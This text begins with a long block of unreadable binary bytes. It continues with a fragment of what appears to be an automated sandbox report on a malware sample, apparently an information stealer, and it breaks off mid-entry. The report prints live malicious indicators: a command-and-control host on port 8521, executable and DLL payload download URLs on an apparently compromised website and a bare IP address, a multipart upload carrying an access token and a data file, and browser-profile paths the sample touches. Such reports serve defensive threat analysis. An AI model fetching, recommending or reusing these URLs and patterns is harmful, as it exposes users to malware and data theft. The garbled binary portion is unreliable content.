³'lÆÃºÇ.f#YÄ¥Öªã<ÌâZ®Ü%~í7"~txë®#>6Ã9Ymke&:d¹NjÙ>0×=5(V1Ù?¶tsºHòúñi4ö·bvéPÅ%xlëd31óÇyã3%¶Â®PËB¸:!Æf¿åKº®Ëè<¡DI29ÏªHFåòc.~;õîªB¾N÷³þiû6¾s¼y(À5hLd0ZÁ¥ÅfkFyBV£Ú R96g?ÞÍªó2AtA>´h9qÛx;iñjWmeÎÇôíÜa\GÛ½CßºÏK1Ú`3Ç¹Ão×¿Gø9]ïNõÀ8jØüàrûìr@f=LÕ0É´4§ÕJÄ8UA+M¿½¡_%yGÁªÔîH Ú#ÓÿÞ]º^qÕâ]½#(:%ïã¦8ÿkÖ´ï÷Tìé÷s.J[|XUM .Gèê'èI¹Ôó¼»ªôn°ïÂ½Ûù~ÚªØô^2Ãé§ÍâJÂoÆ³=^ó/ÒeTî°ºnÒRTqE¦r0}\ËBÞßø5ÒêÑ(1"ÞÌp¦7uÁQHÕÌ£hböîáÆ#~«×;Ç¶tñº áÈ1!´rkzÓ¢ÄÍÇd½M²R*iÉüè¾À 6ÌÑc¾1ÇSÖKöT ÃÔèDMÂ~g¼DV<[Þ[²ÅùøºEoS¿ØÚ4`®W¨ôâ·tjUÙ6ÔHçkºËÔöd´F¬öè/jÓÉ»@=ä³ï*Sä0¯ióxM"KØÉåÛNó´8R³z¬ÀBM#?C£¸2ÇÂßò:ûc·ê.·ºöÈ/Ø!N7»0fGKd¿a'fËÎ¼ô>ÉS¡+¹(@BÛ%!ê7xËÇ|8O3¾'dCuéÂßiÐxbufIÆ4tÄP&Ø3³õ×ÞÚÅÎ9ûVÐx´)ã(ûYAY±xöi&hYíî?/Ñ½¡äGØltÒ¹!¯3õWÔ+ ÷aòïb~tÊÿßCDtõÙ¡NÔÁi|Jt,`Æ%N}0$?Øcjbf;2ûëApJýb¤W´µbô¹½qÔÈÚÌZ,`@!Ý§ðã-_ "·=_{½BtÝå¥¿«DnTúCujÄöÀC®¦; ÃYl|Ý/Öqßgâf Dó$^Âþ°-k.è¿ Øv[aØ"çí+ý~ó.×ö<ö«!s/yöÉç6úyéI¾w ÜëÑ¨ËuB ±ýÐÈl1{l/×yc°¶Ç¯þ)ûÀµ¶@¨Ì%éAHe¾¾íëÿã[ñÂs[k¶¯Ì0Iö&GÂhh;|Ýh¬@'\b¯x^þem"VVrtpL^|m£yù³y½û ¯}N8fµöÃã'ç]ÑÿÌnD#¶lA°9¤]FÒn£[9ç¬ñZ¾èa|4À\ßw@C±Fyæùð'^AÞ¢nÛsgÆuªÕèë>ryÔ¿G`4EòS ÓüÕP´$L¼H{pËu¯´¨µ©Ú.sâEÎÕ5FîG±JÒT³ÔÑ[GôÕÙYøéf¯ÓùX«P(à¯G>µ¦_töþ1~áð¾EV-z`îa¨§lq¾)-ßµ"³G«ö¾?Øf?³°Ý(Óö¡þÊÓEÂÞ.ã+4Þ=R·®b¦øïô$¯Týáy6þ9ö¶c;2OXQYPüjõgÇµ_T*à7HÈ)É^Ã)åOfLT%E,/cq\¿xøk¶LþJ3=ÁâÊý]_µáîåËð&æ°$Kî¹¸J\É1*íL[{¡Tzí*·<äOÀ,i©=±¿µá[ëñËrÚPZÂMCi½×#Æõf.ë^"ðKç{ÔªKµ¥FìØ³CLàÈ`Ü_ö&RýL%Gr¬kC|¹G$ÕÄ7päHH)¹=9cùwÔ2pX½!0ÇÕ ·ÂêkÚÓ%~º±?ÇtâC1æ£g¸h×kùyÇ4§rmÀ|ðÑ(ÔìO½99ñfñnªYéLô/G²äÖ¿o#=FÓJ¬èÄ"DØ>B4=NÂ0ÿvi>ý¿'¬Õú8døá[0ÀiCêBëê>C{hß4µ`YnH¹|êtýbÁ¿chv2³ÈÄ k$éÛö;òUÃãhfiÀä×¢¿+Ðd(cu@ú§v¶_)S`/v©Ì¸ àTØïÝwzd<ýZÕK3üÚìRË²búà¤ÂànÛòãçlÜÍ¨z¿Lö°3*¹£µ"×Ñ¼ó2);¨±ú0ç|áj×CA¤ÄdÏçI·jÜ2óÕ"ôë÷ÓðIè==ó§dóý¬#:³I%WD¼>Òýof0#ã}æk_«¥æ2Jb¶Ê[áPµ:üPHüÝ÷M/EnýªÛÏpì>!ULÔz_Å¶tVV8ÂÌ·^vãnã!òIl(+¾Å ©®¯És~ê*>&àdÑÜ«øçæ¯GpsÏÑ§Êé²Ì5_.Ä±Ëò_¬_Ä%ði7ö7¶NÂñ÷÷ÃÁ¾gGAhÞ°ÿn[ÁªÇÆª]yÍ®Kûýtnß+êÏÀÈùH7Èßù×fÚæU¤O/áp¼ÛN"²(õ1»¡9çe§AÛ¼3è]º¥ÂubÉÝû×~ôÂIÔ¢JR/·ÍÞÀd§¶_\U}k*e×Ë³7u¾Uú¤}ÉÒÚ°-·P§à öDhþ£2u¸Z¡SPRùúW§þL«Á²;ÓÁ"©.vÚ^5Ó£4÷ýËÇÀ#`~"(%1ÑÆÑ0«×¸-,Wm©Zz|ëªuu¿è½ð÷á@iÑ·W§nNê6M¦ÑçèÐá#â¥ðÐ@JÞ¹)r\QÑ®É.#¤{Þé¹´uøØ1½µæXÆÓ«ÊAB$þ?¾?Ùöå¼)Ìµ©_`@¾-gÈBÑdKÈË÷þ£¸(£µeNExGp4ayÈOut¹k@U¿òQsRì¼8y¤ð<¸÷ÐÁP ÓÞP)zS[ÐdS¢«XUo³wG¯;Üàïcë`ui¦..[eÝØê®ö$»!Í:7Rx¿Ü/;;ð·ñ=éÅn~§wc§èå÷¥ãÐ»k¼Âï!²kv_9ù3£¸Ýêø"%HTiÿ@ÜEÜ²Ü1¾ ì¬Ýÿe2¾¡!ÙGgSêuéÊ2ØÛi^Ýé+¸3mý'G.®Üÿ;nUdz-O?EÒ9x¾ÿwfrÏ¾#£3Yð¸3uÐ¶.½à~ãW²aüÜ1Ð¤ÙMÔ'GáÇNmègk{Ìùõ¾8e2áÎ-X#hc÷¥F[ÀÌx¾àJÉ¡zX¢÷ñ÷¦¸)gÕ*ö«»7£ñ³ð ·y0ºqkG!HãQ¤ÑtÄ®¢W´éáy7nsïûcå&©ÂW69eô7ÜåüvM;e¹qÿmC&j¤§ýðrÑd2Í¢1ÿI6E+óÖ÷è´)@Ä°»È¶kâ¥î0óxÒ{Ebà}#§@rÀòz³mHVÇ{LnºZ¶<ÖJäHìüèsx¾4¢yV¯OPYUâ÷¤öÔR`ºvW¨7¯Ï¡ÈbâDl©Úd0GY÷Yf"X-êû'\±Vf|í(ÊÎ2FF î!?íJêá·5\)M¤óíì¨çW`äaGô=%áñÀÛÂ)ê>)Ûç*¯ð¶ì_ÔNJvTdy!ìÏïT×ÐBìfÔïír´Å©sÓâV¥7ÉIÅ¼;oËÂciWF;0fkmÄdÂäò^«¥äÀ©z3:¶P{ÃõáÈkYdðHEùCDUß¡ áóIipê4;§N$$ü¾@èz8ÇÙ2w&Edÿîhöþ#*¼C1¸Ò¯QnOãWÔ7ûü~aÅO(O9Sáô/îÕÖ ü¨@½"ÿÆ5x´/xÿ¶]ØüÅÒiê+Çe à¼_l~\ë+4ÃLÍþodóªTð¶¹;½o»-ø«Q_Æ LK7VÛz]NeÆ85õÞ.gb^¬"0~¢P2âÒúü<©Ý6vfû¼Ím8FúVçÃGpÇé_¨{ÅºâãÆY$àÂgÐl#í(Ój#BHFn§¨ñ,s\9ýZ[ÉA ÏÍy!cA~]9g_rP.gúà6°_3?¬v"¹9SÒ¡FS]$ö\VÈ;L5Ûòá=¾!%\¥I£ô"ú-ð)KXÝ÷siûÿúýpU:·÷ÂÜ'/ÃTØ.ÙÉ®1ofÚ?¢#¨wÆÎhoâôöÄËâh/óemåHfç×Æm¿ª8¡Ú§RçfÖö'ÌÚ¾ûÍ\üHp¯MPÕâX%&}:([Éi£,è9Ñ²æÛ® *UNO?»Ê+àü[Ò`Ñ»òW«/ÞçGv²HlLñQ+NMâÓ¾ð°Òg!B+Ïà_åYPãwl@s7h1¼A¹4·dðtïøbWìc¼Aæ×¥Dh!ÀâcZ¡r8f[p+Ý©ÏuÔ%>*Ïwpû.¨v-»µ¥ð²¬ÕëÉ;óªº8'É=ñøÁ¼sÏÚ°7I_Oô¾-g§|i^¬·®îxG¼JMÈ'®vgârÕvî±b)tP¦ÄéMóèëÏ¹Èñ´e31Qgï0dåcxN³÷Ç·¿!ÊkBä:òIÍ¡~hDÿÚ²CJ](®X6çsq÷EGéà{àèÆù»½qÊ>YôªHqª_dßÏÃS\¬73x¼6'2÷²õLÁÜQdäåÁR¹®º*Ï5}ô;Ã$¿Fôt2ëö®N3!ZÐ±PÒVø¨nÜ¯{8Ñ ¨Ä_¹Rk¹\á%>ïÖH©ÈÌVF ÀrU@N¦â-%éÅµ¼;|÷B¸ô:u|æ¢ÜòzåËÊMApVi·#Ôd¤÷mï'lù_×zõ*ÅûíÑ±SIûm¨zÀ¡èü8n.´>#WoÂîæÕ¾§hnH|íóGäª[ÙµâhÆ=Ù_ðõ¶8¬+ÜF+ÿúø&ÜNRÑ`YYò »àq»ràhpnòoÜlpIYn±¥ßë{ÛzøÆà¶wW£ø_}Ya¯ÿ\!XêÒq(Vn9ÅIéË"(ÞoÙpýÞAÒÜ (ñw~4qî¹`÷6¸º\{H¾È¶e¾·Ç)"ÐQsÔnïÛ)+ëg>¸b3ôê`ðÍûÕ9½¡Çµ°û>BÆ¢f£êæ^, èÿª=TªÙÑCÛ¾÷ °þÌé¸ÅÏämÊ÷2ôL¯ûX¼ýýì²Z^r³¯ºÜñwÖµ¡:4 Ê¯v0ÚÑß'¡(v{|u¼s²LMÉ!/5ªXpð¨Ãõsô×-Ù©6æÕFj2QOÇ½Xe½@HþurïÒ@·4æÓÉÔ?Õ|Eìà ³õXc:æ%DÁ°f¡ÅtÞÐ$ä.g $=j¤{ÙÄOr©ÐéÎ_V´ûýyHQ;¾¯¶Á}{9ÂCHÜ!"}ÿm¢©S»ÁI&!Â5nyÚäØ6+]7iö_MwFù¡¸YZË`nÖWm¢¬`»úñ~E<\Ò*"&æm0¬1Phâp)s}kb7ßá4õßVÜ$ÊÚ\´JiXî¥ª%ÿÐ ºÆ¡ÝP`b=MÊUw¨A?À~ñfý×£Ë#pè[©_ITÔµï;ö82GGmH§á]a;ôËtØÄ »ÒJ{Ò-Ò)$:0Ì2l`·ê<áì$BE=¢T"ÂzmvM½?ùûGbä8%Þæx¹¢Å¼&³û]&UM»y¨ÔJçyr~ñ@y&(«,ËÆ¤`Q ¨ÛJÀÔO.^Å\Dro¬l¹ %È~:¾ÿz`öÂ ÕDåí@§ÃÀ©#Ì§UàÀôxê=Æÿ¿bqT»:Dµº.e-ó8"aÂ[ãÿ¶ßFïàÎØq×Ú(£ëBuËÞ_'¨V¨½Ï'6(vp";N©ñÜHøÒþùá¡y¶Yo2ië¨ÀC[fñHpMÔµõZ5Þfp>Ûû½â·ÆNé¶ÆÖë¼èP?Û yÕ8C°$Ò QïâlôVÈ´ßË Û0_ààKbËÄª×Ü3.½#rÌùØÛ ÒÑuáµNÇê)è«¾·ý¨¥HÀébvíyL°*g¾¹P;"[¥Tä÷¬ä8Þ~H'º/)Ð²8ÒÂ¸í½CyêU¬dâ.¿\/ãÇg$ÂæÅ¥$YÿOâTéÛù{±ÄÿË©oï_øî/Ñ=öhê¸4<Í;Áf+h«ló«CgºxÃHJ°âÝa7uÞËò(b,ðÁ¢uH:ÃQe³ü?ZL¤é¶ÕÙ3ármxHÆ`®à<ªcÇâºï]lÕÍùNÎÔýbm10GãÞ0Z3Ð÷èçápÅõÝ üÓåG¯§wAóC~ÏL£gè¦îìWm3áV#`v_ÏïçÈÕÒb¦µ¾Gcí¯?¤ð3ÝÃkÐG¼ÅçI!âD1(ø(zÕL1ëáâ«éÔ÷©åÙmb'CÁ×ºrÌ?ì0Ç©Z1Pô:ÇÞ«ö«Pµrak±¶IóTãC5Ú/SO¶÷à±{pýÄ9¾QÑuÜLOCUë|Yó*gÕ«ºÇÚ62K$-|ø«G |OËäþÜ`Ë«IÏ¯@ å¹öE½¨j$8sõ[êiÑû'Ò]<ðÎ£ ¨'0Î±æILN_ÊÅpçc£ÁÓ®ýÌ4%!ü:ßMÙªàÖðÈåÊ»ÈxÛj4è-ÓB?÷/«\üØoDßÀ`w¨Å¼qN] ep¨Ð%ôTÜûîl\#*â0°.zÐãs²PK}ØÝ< 0öÒ]2éÿLö{^Îìù¹6ÉbA2WàsÁæ}úK-ê1ëÞ:G6ÆAm4*÷ÒÀA§½`ÿÓÊ¡Ùìæ.ÁÃ}³ßÜÓÑMëÔ;jQ¨ØÚÛEÅÎ7ÿÎÚ±¯|~ðsÉ¦¡+®Ü"; File: "PCAP"), Found string "Content-Type: multipart/form-data; boundary=2o3gTFaZ3"; Source: "00000000-00002136-00000CCC-1535469285"), Found string "--2o3gTFaZ3Content-Disposition: form-data; name="access_token"c7832c16-158a-4b1a-8d62-93088da8f4ec--2o3gTFaZ3Content-Disposition: form-data; name="type"0--2o3gTFaZ3Content-Disposition: form-data; name="file"; filename="data"Content-Type: ap"; Source: "00000000-00002136-00000CCC-1535469285"), Found string "Content-Type: multipart/form-data; boundary=ZwcR82omuq"; Source: "00000000-00002136-00000CCC-1584511163"), Found string "--ZwcR82omuqContent-Disposition: form-data; name="access_token"c7832c16-158a-4b1a-8d62-93088da8f4ec--ZwcR82omuqContent-Disposition: form-data; name="type"0--ZwcR82omuqContent-Disposition: form-data; name="file"; filename="data"Content-Type:"; Source: "00000000-00002136-00000CCC-1584511163"), Found string "Content-Type: multipart/form-data; boundary=2o3gTFaZ3"; Source: "00000000-00002136.00000000.166453.D6590000.00000004.mdmp"), Found string "Content-Disposition: form-data; name="access_token""; Source: "00000000-00002136.00000000.166453.D6590000.00000004.mdmp"), Found string "Content-Disposition: form-data; name="type""; Source: "00000000-00002136.00000000.166453.D6590000.00000004.mdmp"), Found string "Content-Disposition: form-data; name="file"; filename="data""; Source: "00000000-00002136.00000000.166453.D6590000.00000004.mdmp")40:T44c,file/memory contains long string with (Indicator: "wsastartup"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") file/memory contains long string with (Indicator: "wsacleanup"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") file/memory contains long string with (Indicator: "gethostbyname"; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") file/memory contains long string with (Indicator: " send "; File: "2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin") file/memory contains long string with (Indicator: "wsastartup"; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp") file/memory contains long string with (Indicator: "wsacleanup"; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp") file/memory contains long string with (Indicator: "gethostbyname"; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp") file/memory contains long string with (Indicator: " send "; Source: "00000000-00002136.00000001.168372.0F8BD000.00000002.mdmp")41:T1839,Heuristic match: "*abi.name" Heuristic match: "qda.pr" Heuristic match: "%]g:y}0.hk" Heuristic match: "internal/abi.name.name" Heuristic match: "runtime.(*bucket).mp" Heuristic match: "runtime.srcfunc.name" Pattern match: "eq.sync/atomic.bool" Pattern match: "eq.sync/atomic.uint32" Pattern match: "eq.sync/atomic.pointer[internal/sync.indirect[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.node[interface" Pattern match: "eq.sync/atomic.pointer[internal/sync.entry[go.shape.interface" Pattern match: "eq.sync/atomic.pointer[go.shape.struct" Pattern match: "http://iuta.today:8521-74" Pattern match: "http://iuta.today:8521-883" Pattern match: "http://iuta.today:8521-56" Pattern match: "http://iuta.today:8521-790917" Pattern match: "www.italiaregina.it" Pattern match: "http://iuta.today:8521/" Heuristic match: "c6718.bi" Pattern match: "http://wwwa.today:8521/" Pattern match: "http://www.facebook.couta.today:8521/" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Pattern match: "http://iuta.today:8521" Pattern match: "http://iut" Pattern match: "www.italiaregina.it/wp-content/plugins/eglxcaft.exe" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Heuristic match: "webdisk.italiaregina.it" Heuristic match: "autodiscover.italiaregina.it" Heuristic match: "cpanel.italiaregina.it" Heuristic match: "cpcalendars.italiaregina.it" Heuristic match: "cpcontacts.italiaregina.it" Heuristic match: "italiaregina.it" Heuristic match: "mail.italiaregina.it" Heuristic match: "webmail.italiaregina.it" Pattern match: "www.italiaregina.it0" Heuristic match: "regina.it" Pattern match: "http://77.91.97.98/" Heuristic match: "ww.italiaregina.it" Pattern match: "https://www.italiaregina.it/wp-content/plugins/eglxcaft.exe" Heuristic match: "taliaregina.it" Pattern match: "ww.instagram.com/justinbieber" Pattern match: "www.italiaregina.it/" Pattern match: "www.walmart.com0" Pattern match: "http://77.91.97.98/gtdxzutw.dll" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "https://www.italiaregina.it/wp-content/plugins/oajtohvn.exe" Heuristic match: "ntrust.net" Pattern match: "www.italiaregina.it/wp-content/plugins/oajtohvn.exe" Pattern match: "http://77.91.97.98/qexbopet.dll" Pattern match: "www.digicert.com1$0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "http://www.microsoft.com0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "www.insidersurveys.windows.com06" Pattern match: "www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl" Pattern match: "crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0" Pattern match: "www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0" Pattern match: "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0t" Pattern match: "www.microsoft.com/pki/certs/microsoftrootcert.crt0" Pattern match: "http://microsoft.com0"42:T2c38,Found URL "http://iuta.today:8521/26b4c8f124c458c1771bb3c4277iuta.todayiuta.today26b4c8f124c458c1771bb3c4277:\2e44cd37557321d7a03eae26b4c8f124c458c1771bb3c427774276d272ac6718.bin.exe56976dc7d751d16ad]t" - Source: "00000000-00002136.00000000.166453.D6590000.00000004.mdmp") Found URL "http://wwwa.today:8521/iuta.today001:0:14c9:dc0e:1050:3272:bf83:f35ddesktop-fvvf82a192.168.0.22001:0:14c9:dc0e:1050:3272:bf83:f35db+ncalrpc:[ole4094aa59a7856976dc7d751d16ad]t" - Source: "00000000-00002136.00000000.166453.D6590000.00000004.mdmp") Found URL "http://www.facebook.couta.today:8521/iuta.today:\windows\system32\rasadhlp.dll??\c:\windows\system32\wshqos.dll??\c:\windows\system32\winnlsres.dll??\c:\windows\system32\fwpuclnt.dll??\c:\windows\system32\wshqos.dll??\c:\windows\system32\fwpuclnt.dll??\c:\windows\system32\wshqos.dll??\c:\windows\system32\winnlsres.dll:\windows\system32\winnlsres.dll??\c:\windows\system32\wshqos.dll:\windows\system32\wshqos.dll??\c:\windows\system32\wshqos.dll:\windows\system32\mswsock.dll:\windows\system32\wshqos.dll:\windows\system32\schannel.dlligest" - Source: "00000000-00002136.00000000.166453.D6590000.00000004.mdmp") Found URL "http://iuta.today:8521/e44cd37557321d.exeesktop-fvvf82a:\analysis:\share:\sharevvf82aesktop-fvvf82aefault" - Source: "00000000-00002136.00000000.166453.D6590000.00000004.mdmp") Found URL "http://iuta.today:8521/c:\windows\system32\ondemandconnroutehelper.dllhttp://iuta.today:8521/appdata=c:\users\hapubws\appdata\roamingj+st\l" - Source: "00000000-00002136.00000000.166453.D6590000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002136.00000000.166453.D6590000.00000004.mdmp") Found URL "http://iuta.today:8521!this" - Source: "00000000-00002136.00000001.168372.40000000.00000040.mdmp") Found URL "http://iuta.today:8521/local\opera" - Source: "00000000-00002136.00000001.168372.D6590000.00000004.mdmp") Found URL "http://iutwinsta0\defaultallusersprofile=c:\programdataappdata=c:\users\hapubws\appdata\roamingcommonprogramfiles=c:\program" - Source: "00000000-00002136.00000001.168372.D6590000.00000004.mdmp") Found URL "http://iuta.today:8521/iuta.todayhine\sooc:\windows\system32\mswsock.dll\registry\user\s-1-5-21-735145574-\registry\machine\software\classes\wow6432node\clsid\" - Source: "00000000-00002136.00000001.168372.D6590000.00000004.mdmp") Found URL "http://iuta.today:8521/9andhttp://iuta.today:8521/c:\windows\system32\ondemandconnroutehelper.dllhttp://iuta.today:8521/9andhttp://iuta.today:8521/http://iuta.today:8521/9andhttp://iuta.today:8521/http://iuta.today:8521/9andhttp://iuta.today:8521/c:\windows\system32\ondemandconnroutehelper.dllc:\windows\system32\ondemandconnroutehelper.dllc:\windows\system32\ondemandconnroutehelper.dll9andhttp://iuta.today:8521/9andhttp://iuta.today:8521/:\windows\system32\jsproxy.dlllocalappdata%\iridium\user" - Source: "00000000-00002136.00000001.168372.D6590000.00000004.mdmp") Found URL "http://iuta.today:8521/iuta.today9c869acb1e3ac56c302d76295b]t" - Source: "00000000-00002136.00000001.168372.D6590000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002136.00000001.168372.D6590000.00000004.mdmp") Found URL "http://iuta.today:8521/:\users\hapubws\appdata\local\temp\9wc8bnbhqyh620mh2s1wl1qn4.dllata\roaming\opera" - Source: "00000000-00002136.00000002.170145.D6590000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002136.00000002.170145.D6590000.00000004.mdmp") Found URL "http://77.91.97.98/77.91.97.98winsta0\defaultallusersprofile=c:\programdataappdata=c:\users\hapubws\appdata\roamingcommonprogramfiles=c:\program" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "https://www.italiaregina.it/wp-content/plugins/eglxcaft.exeen-us<<>>italiaregina.itwww.italiaregina.it:\windows\system32\schannel.dlligest" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "http://iuta.today:8521/www.italiaregina.it:\windows\system32\crypt32.dll:\windows\system32\msasn1.dllp" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "http://77.91.97.98/gtdxzutw.dllschannel" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "http://77.91.97.98/gtdxzutw.dll:0" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "https://www.italiaregina.it/wp-content/plugins/eglxcaft.exeg3epv+$" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;washington1redmond1microsoft" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0kmheris[j73x1.2.840.113549.1.1.2microsoft" - Source: "00000000-00002136.00000002.170145.D65DD000.00000004.mdmp") Found URL "https://www.italiaregina.it/wp-content/plugins/oajtohvn.exemicrosoft" - Source: "00000000-00002136.00000002.170145.FD510000.00000004.mdmp") Found URL "http://77.91.97.98/gtdxzutw.dllhttp://77.91.97.98/qexbopet.dllinrules_autoupdate_1subcasubcawestern" - Source: "00000000-00002136.00000002.170145.FD510000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00002136.00000002.170145.FD510000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?!m5c3il" - Source: "00000000-00002136.00000002.170145.FD510000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00002136.00000002.170145.FD510000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00002136.00000002.170145.FD510000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00002136.00000002.170145.FD510000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00002136.00000002.170145.FD510000.00000004.mdmp") Found URL 